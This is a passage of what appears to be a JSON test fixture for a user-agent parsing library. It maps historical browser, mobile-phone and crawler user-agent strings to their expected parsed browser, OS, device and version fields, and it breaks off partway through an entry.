"ALCATEL_A392G/1.0 ObigoInternetBrowser/Q05A[TF013513003477632000000018014935480]" : { "browser" : "obigo", "browser_string" : "Obigo", "device" : "wap", "device_string" : "ALCATEL_A392G", "match" : [ "device", "wap", "mobile", "obigo" ] }, "AdsBot-Google (+http://www.google.com/adsbot.html)" : { "country" : null, "language" : null, "major" : null, "match" : [ "google", "googleadsbot", "robot", "robot_id" ], "minor" : null, "no_match" : null, "other" : null, "robot" : "googleadsbot", "robot_string" : "Google AdsBot", "version" : null }, "AmigaVoyager/3.3.50 (AmigaOS/PPC)" : { "country" : null, "ios" : 0, "language" : null, "major" : "3", "match" : [ "amiga" ], "minor" : "0.3", "no_match" : null, "os" : "amiga", "os_string" : "Amiga", "other" : null, "version" : "3.3" }, "AndroidDownloadManager/5.0 (Linux; U; Android 5.0; SM-G900P Build/LRX21T)" : { "browser" : "adm", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Android Download Manager", "device" : "android", "device_string" : "Android (SM-G900P)", "match" : [ "device", "android", "mobile", "adm", "lib" ], "os" : "android", "os_beta" : "", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Baiduspider+(+http://www.baidu.com/search/spider.htm)" : { "country" : null, "language" : null, "major" : null, "match" : [ "baidu", "robot" ], "minor" : "0", "no_match" : null, "other" : null, "robot" : "baidu", "robot_string" : "Baidu", "version" : null }, "BlackBerry7730/3.7.1 UP.Link/5.1.2.5" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "country" : null, "device" : "blackberry", "device_string" : "BlackBerry 7730", "language" : null, "major" : "3", "match" : [ "blackberry", "mobile", "device" ], "minor" : "0.7", "no_match" : null, "other" : null, "version" : "3.7" }, "BlackBerry8520/4.6.1.272 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/118" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry 8520", "match" : [ "mobile", "blackberry", "device" ], "minor" : ".6", "no_match" : [ "robot" ], "public_major" : "4", "public_minor" : ".6", "public_version" : "4.6", "version" : "4.6" }, "DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)" : { "major" : "2", "match" : [ "googlemobile", "google", "mobile", "robot" ], "minor" : "0.1", "public_major" : "2", "public_minor" : ".1", "public_version" : "2.1", "robot" : "googlemobile", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot Mobile", "robot_string" : "Googlebot Mobile", "robot_version" : "2.1", "version" : "2.1" }, "ELinks/0.12~pre5-2ubuntu1 (textmode; Ubuntu; Linux 2.6.32-24-generic x86_64; 135x85-2)" : { "browser" : "elinks", "browser_string" : "ELinks", "match" : [ "linux", "unix", "elinks" ], "os" : "linux", "os_string" : "Linux" }, "Emacs-W3/2.1.105 URL/1.267 ((Unix?) ; TTY ; sparc-sun-solaris2.3)" : { "browser" : "emacs", "country" : null, "language" : null, "major" : "2", "match" : [ "emacs", "sun", "unix" ], "minor" : "0.1", "no_match" : null, "os" : "unix", "os_string" : "Solaris", "other" : null, "version" : "2.1" }, "GetRight/3.2.1" : { "country" : null, "language" : null, "major" : "3", "match" : [ "getright", "robot" ], "minor" : "0.2", "no_match" : null, "other" : null, "robot" : "getright", "robot_beta" : ".1", "robot_major" : "3", "robot_minor" : ".2", "robot_string" : "GetRight", "robot_version" : "3.2", "version" : "3.2" }, "Googlebot-Image/1.0" : { "major" : "1", "match" : [ "google", "googlebotimage", "robot" ], "minor" : "0", "robot" : "googlebotimage", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Googlebot Images", "robot_string" : "Googlebot Images", "robot_version" : "1.0", "version" : "1" }, "Googlebot-News" : { "match" : [ "google", "googlebotnews", "robot" ], "robot" : "googlebotnews", "robot_name" : "Googlebot News", "robot_string" : "Googlebot News" }, "Googlebot-Video/1.0" : { "major" : "1", "match" : [ "google", "googlebotvideo", "robot" ], "minor" : "0", "robot" : "googlebotvideo", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Googlebot Video", "robot_string" : "Googlebot Video", "robot_version" : "1.0", "version" : "1" }, "Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/)" : { "major" : "1", "match" : [ "google", "robot" ], "minor" : "0", "robot" : "google", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "Googlebot", "robot_version" : "1.0", "version" : "1" }, "Googlebot/2.1 (+http://www.google.com/bot.html)" : { "major" : "2", "match" : [ "google", "robot" ], "minor" : "0.1", "robot" : "google", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_string" : "Googlebot", "robot_version" : "2.1", "version" : "2.1" }, "HTTP_Request2/2.2.1 (http://pear.php.net/package/http_request2) PHP/5.3.29" : { "browser_beta" : ".1", "browser_major" : "2", "browser_minor" : ".2", "match" : [ "robot", "lib", "phplib" ], "robot" : "phplib", "robot_beta" : ".1", "robot_major" : "2", "robot_minor" : ".2", "robot_name" : "PHP http library", "robot_version" : "2.2" }, "HUAWEI-H215G/1.0[TF860495020075686000000017029451468] Obigo-Browser/Q05A MMS/UNIBOX/V1.2 HuaweiJava/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1" : { "beta" : "[tf860495020075686000000017029451468]", "browser" : "obigo", "browser_string" : "Obigo", "device" : "wap", "device_string" : "HUAWEI-H215G", "match" : [ "device", "wap", "mobile", "obigo" ] }, "Jakarta Commons-HttpClient/3.1" : { "country" : null, "language" : null, "major" : "3", "match" : [ "lib", "java", "robot" ], "minor" : ".1", "no_match" : null, "other" : null, "public_major" : "3", "public_minor" : ".1", "public_version" : "3.1", "robot" : "java", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".1", "robot_string" : "Java", "robot_version" : "3.1", "version" : "3.1" }, "Java/1.6.0_17" : { "country" : null, "language" : null, "major" : "1", "match" : [ "lib", "java", "robot" ], "minor" : ".6", "no_match" : null, "other" : null, "public_major" : "1", "public_minor" : ".6", "public_version" : "1.6", "robot" : "java", "robot_beta" : ".0_17", "robot_major" : "1", "robot_minor" : ".6", "robot_string" : "Java", "robot_version" : "1.6", "version" : "1.6" }, "Konqueror/1.1.2" : { "browser" : "konqueror", "browser_string" : "Konqueror", "country" : null, "language" : null, "major" : "1", "match" : [ "konqueror" ], "minor" : "0.1", "no_match" : [ "robot" ], "other" : null, "version" : "1.1" }, "LG-GR500/V10o Teleca/Q7.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; LG-GR500) U2/1.0.0 UCBrowser/9.4.0.342 U2/1.0.0 Mobile" : { "browser" : "ucbrowser", "browser_beta" : ".0.342", "browser_major" : "9", "browser_minor" : ".4", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "LG-GR500", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "LG-LG306G/V100[TF013948006538818000000018064370513] Obigo/Q7.3 Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_string" : "Obigo", "device" : "wap", "device_string" : "LG-LG306G", "match" : [ "device", "wap", "mobile", "obigo" ] }, "LG-LG511C/1.0[TF268435460902551139000000014156938132] Mozilla/5.0(compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LGE LG-LG511C Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE LG-LG511C", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "LG-LG511C/1.0[TF268435460902553047000000013212055040] Mozilla/5.0(compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LGE LG-LG511C Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE LG-LG511C", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "LG-LG511C/1.0[TF268435460911741369000000012523751533] Mozilla/5.0(compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LGE LG-LG511C Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE LG-LG511C", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "LG-LG511C/1.0[TF268435460911753637000000013342355993] Mozilla/5.0(compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LGE LG-LG511C Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE LG-LG511C", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "LG-LG511C/1.0[TF268435460911756375000000018052666154] Mozilla/5.0(compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LGE LG-LG511C Profile/MIDP-2.1 Configuration/CLDC-1.1" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LGE LG-LG511C", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "LinkChecker/7.4 (+http://linkchecker.sourceforge.net/)" : { "match" : [ "robot", "linkchecker" ], "robot" : "linkchecker", "robot_beta" : "", "robot_major" : "7", "robot_minor" : ".4", "robot_name" : "LinkChecker", "robot_string" : "LinkChecker", "robot_version" : "7.4" }, "Links (2.1pre15; Linux 2.4.26-vc4 i586; x)" : { "browser" : "links", "browser_string" : "Links", "match" : [ "linux", "unix", "links" ], "os" : "linux", "os_string" : "Linux" }, "Links (2.2; Linux 2.6.32-24-generic x86_64; 135x85)" : { "browser" : "links", "browser_string" : "Links", "match" : [ "linux", "unix", "links" ], "os" : "linux", "os_string" : "Linux" }, "Lotus-Notes/4.5 ( OS/2 )" : { "browser" : "lotusnotes", "browser_string" : "Lotus Notes", "country" : null, "language" : null, "major" : "4", "match" : [ "lotusnotes", "os2" ], "minor" : "0.5", "no_match" : null, "os" : "os2", "os_string" : "OS/2", "other" : null, "version" : "4.5" }, "MOT-EX128 Obigo/WAP2.0 MIDP-2.0/CLDC-1.1" : { "browser" : "obigo", "browser_string" : "Obigo", "device" : "wap", "device_string" : "Motorola EX128", "language" : null, "major" : null, "match" : [ "device", "mobile", "obigo", "wap" ], "minor" : null, "no_match" : null, "other" : null, "version" : null }, "MOT-EX431G/[TF359486041608603004831018142290921] Obigo/Q03C MMP/2.0" : { "browser" : "obigo", "browser_string" : "Obigo", "device" : "wap", "device_string" : "Motorola EX431G", "match" : [ "device", "wap", "mobile", "obigo" ] }, "Mediapartners-Google/2.1" : { "major" : "2", "match" : [ "google", "googleadsense", "robot" ], "minor" : "0.1", "robot" : "googleadsense", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_string" : "Google AdSense", "robot_version" : "2.1", "version" : "2.1" }, "Microsoft Office Existence Discovery" : { "browser" : null, "browser_string" : null, "country" : null, "language" : null, "major" : null, "match" : [ "msoffice", "robot" ], "minor" : null, "no_match" : [ "unix" ], "os" : null, "other" : null, "robot" : "msoffice", "robot_string" : "Microsoft Office", "version" : null }, "Mozilla/1.1 (Windows 3.0; I)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : null, "major" : "1", "match" : [ "netscape", "windows", "win3x", "win16" ], "minor" : "0.1", "no_match" : null, "os" : "windows", "os_string" : "Win3x", "other" : null, "version" : "1.1" }, "Mozilla/1.1 (Windows 3.1; I)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : null, "major" : "1", "match" : [ "netscape", "windows", "win31", "win3x", "win16" ], "minor" : "0.1", "no_match" : null, "os" : "windows", "os_string" : "Win3x", "other" : null, "version" : "1.1" }, "Mozilla/2.0 (Win95; I)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : null, "major" : "2", "match" : [ "netscape", "nav2", "windows", "win32", "win95" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "2" }, "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "3", "match" : [ "ie", "ie3", "windows", "win32", "win95" ], "minor" : "0.01", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "3.01" }, "Mozilla/2.0 (compatible; MSIE 3.01; Windows NT)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "3", "match" : [ "ie", "ie3", "windows", "win32", "winnt" ], "minor" : "0.01", "no_match" : null, "os" : "windows", "os_string" : "WinNT", "other" : null, "version" : "3.01" }, "Mozilla/2.0 (compatible; MSIE 3.0; AOL 3.0; Windows 95)" : { "browser" : "ie", "browser_string" : "AOL Browser", "country" : null, "engine" : "ie", "language" : null, "major" : "3", "match" : [ "ie", "ie3", "windows", "win32", "win95", "aol", "aol3" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "3" }, "Mozilla/2.0 (compatible; MSIE 4.0; Windows 95)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "4", "match" : [ "ie", "ie4", "ie4up", "windows", "win32", "win95" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "4" }, "Mozilla/3.0 (Macintosh; I; PPC)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : null, "major" : "3", "match" : [ "netscape", "nav3", "mac", "macppc" ], "minor" : "0", "no_match" : null, "os" : "mac", "os_string" : "Mac", "other" : null, "version" : "3" }, "Mozilla/3.0 (compatible; MSIE 4.0; Windows 95)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "4", "match" : [ "ie", "ie4", "ie4up", "windows", "win32", "win95" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "4" }, "Mozilla/3.0 (compatible; StarOffice/5.1; Linux)" : { "browser" : "staroffice", "browser_string" : "StarOffice", "country" : null, "language" : null, "major" : "5", "match" : [ "linux", "unix", "staroffice" ], "minor" : "0.1", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : null, "version" : "5.1" }, "Mozilla/3.0 (compatible; StarOffice/5.1; Win32)" : { "browser" : "staroffice", "browser_string" : "StarOffice", "country" : null, "language" : null, "major" : "5", "match" : [ "win32", "windows", "staroffice" ], "minor" : "0.1", "no_match" : null, "other" : null, "version" : "5.1" }, "Mozilla/3.03Gold (Win95; I)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : null, "major" : "3", "match" : [ "netscape", "nav3", "navgold", "windows", "win32", "win95" ], "minor" : "0.03", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "3.03" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GoogleT5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "winxp", "windows", "winnt", "win32", "dotnet", "trident", "ie", "ie8", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : [ "ie_compat_mode", "robot" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "8", "public_minor" : "0", "public_version" : "8.0", "version" : "8.0" }, "Mozilla/4.0 (BREW 3.1.5; U; en-us; Sanyo; NetFront/3.5.1/AMB) Boost SCP3810" : { "browser" : "netfront", "browser_beta" : ".1", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "NetFront", "country" : "US", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "netfront", "engine_string" : "NetFront", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "netfront" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.0 (BREW 3.1.5; U; en-us; Sanyo; NetFront/3.5.1/AMB) Sprint SCP-6760" : { "browser" : "netfront", "browser_beta" : ".1", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "NetFront", "country" : "US", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "netfront", "engine_string" : "NetFront", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "netfront" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.0 (BREW 3.1.5; U; en-us; Sanyo; Polaris/6.0/AMB) Sprint SCP-2700" : { "browser" : "polaris", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Polaris", "country" : "US", "device" : "wap", "device_string" : "WAP capable phone", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "polaris" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)" : { "browser" : "netfront", "browser_string" : "NetFront", "device" : "psp", "device_string" : "Sony PlayStation Portable", "engine" : "netfront", "engine_string" : "NetFront", "match" : [ "psp", "pspgameos", "mobile", "netfront", "device" ], "no_match" : [ "netscape" ], "os" : "pspgameos", "os_string" : "Playstation Portable GameOS" }, "Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 600x800; rotate)" : { "browser" : "netfront", "browser_string" : "NetFront", "device" : "kindle", "device_string" : "Amazon Kindle", "engine" : "netfront", "match" : [ "device", "kindle", "linux", "netfront", "tablet", "unix" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0.4", "public_version" : "3.4" }, "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "4", "match" : [ "ie", "ie4", "ie4up", "windows", "win32", "win95" ], "minor" : "0.01", "no_match" : null, "os" : "windows", "os_string" : "Win95", "other" : null, "version" : "4.01" }, "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "5", "match" : [ "ie", "ie4up", "ie5", "ie5up", "windows", "win32" ], "minor" : "0", "no_match" : null, "other" : null, "version" : "5" }, "Mozilla/4.0 (compatible; MSIE 5.0b1; Windows NT 5.0)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "5", "match" : [ "ie", "ie4up", "ie5", "ie5up", "windows", "win32", "winnt", "win2k" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win2k", "other" : null, "version" : "5" }, "Mozilla/4.0 (compatible; MSIE 5.0b2; Windows NT)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "5", "match" : [ "ie", "ie5", "ie5up", "ie4up", "windows", "win32", "winnt" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "WinNT", "other" : null, "version" : "5" }, "Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) " : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "major" : "5", "match" : [ "mac", "macppc", "ie", "ie4up", "ie5", "ie5up" ], "minor" : "0.22", "no_match" : null, "os" : "mac", "os_string" : "Mac", "other" : null, "version" : "5.22" }, "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) via proxy gateway Something/1.23" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "5", "match" : [ "ie", "ie5", "ie5up", "ie55", "ie55up", "ie4up", "windows", "win32", "winnt", "win2k" ], "minor" : "0.5", "no_match" : null, "os" : "windows", "os_string" : "Win2k", "other" : null, "version" : "5.5" }, "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "5", "match" : [ "ie", "ie5", "ie5up", "ie55", "ie55up", "ie4up", "windows", "win32", "winnt" ], "minor" : "0.5", "no_match" : null, "os" : "windows", "os_string" : "WinNT", "other" : null, "version" : "5.5" }, "Mozilla/4.0 (compatible; MSIE 6.0; BREW 3.1.5; en )/800x480 Samsung SCH-U960" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "device" : "wap", "device_string" : "Samsung SCH-U960", "engine" : "ie", "engine_string" : "MSIE", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "6", "match" : [ "windows", "winnt", "win2k", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win2k", "other" : null, "version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "match" : [ "windows", "winnt", "win2k", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k", "public_major" : "6", "public_minor" : "0", "public_version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "6", "match" : [ "windows", "winnt", "winxp", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "WinXP", "other" : null, "version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "6", "match" : [ "windows", "winnt", "winxp", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "WinXP", "other" : null, "version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "match" : [ "windows", "winnt", "winxp", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : "0", "public_version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "match" : [ "windows", "win32", "winnt", "winxp", "ie", "ie6", "ie55up", "ie5up", "ie4up", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : "0", "public_version" : "6.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; GTB6.6; PicMorphSearchToolbar 1.2; InfoPath.2)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "major" : "6", "match" : [ "winxp", "windows", "win32", "winnt", "ie", "ie6", "ie4up", "ie5up", "ie55up" ], "minor" : "0", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.5; SearchToolbar 1.2)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "major" : "6", "match" : [ "winxp", "windows", "win32", "winnt", "ie", "ie6", "ie4up", "ie5up", "ie55up" ], "minor" : "0", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.5400; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Seekmo 10.0.430.0; 3P_UPCPC 1.0.21.2; .NET CLR 3.5.30729; Tablet PC 2.0; .NET CLR 3.0.30729; .NET4.0C)" : { "browser" : "ie", "browser_string" : "AOL Browser", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "7", "match" : [ "winvista", "windows", "win32", "winnt", "dotnet", "trident", "ie", "ie_compat_mode", "ie7", "ie4up", "ie5up", "ie55up", "aol" ], "minor" : "0", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "WinVista" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; SeekmoToolbar 4.8.4)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "major" : "7", "match" : [ "winxp", "windows", "win32", "winnt", "dotnet", "ie", "ie7", "ie4up", "ie5up", "ie55up" ], "minor" : "0", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6.6; .NET CLR 1.1.4322; Seekmo 10.3.79.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "major" : "7", "match" : [ "winxp", "windows", "win32", "winnt", "dotnet", "ie", "ie7", "ie4up", "ie5up", "ie55up" ], "minor" : "0", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tesco; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.04b)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "engine_string" : "MSIE", "language" : null, "major" : "7", "match" : [ "winxp", "windows", "winnt", "win32", "dotnet", "ie", "ie7", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : [ "unix", "sco" ], "os" : "windows", "os_string" : "WinXP", "other" : null, "public_major" : "7", "public_minor" : "0", "public_version" : "7.0", "version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLive" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "7", "match" : [ "windows", "win32", "winnt", "winvista", "dotnet", "ie", "ie7", "ie4up", "ie5up", "ie55up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "WinVista", "other" : null, "version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "dotnet", "ie", "ie_compat_mode", "ie4up", "ie55up", "ie5up", "ie7", "trident", "windows", "winnt", "win32", "win7" ], "os" : "windows", "os_string" : "Win7", "public_major" : "7", "public_minor" : "0", "public_version" : "7.0", "version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "ie", "ie_compat_mode", "ie4up", "ie55up", "ie5up", "ie7", "trident", "win32", "win8", "win8_0", "windows", "winnt" ], "os" : "windows", "os_string" : "Win8.0", "public_major" : "7", "public_minor" : "0", "public_version" : "7.0", "version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "ie", "ie_compat_mode", "ie4up", "ie55up", "ie5up", "ie7", "trident", "win32", "win8", "win8_1", "windows", "winnt" ], "os" : "windows", "os_string" : "Win8.1", "public_major" : "7", "public_minor" : "0", "public_version" : "7.0", "version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; T7575)" : { "browser" : "ie", "browser_string" : "MSIE", "device" : "winphone", 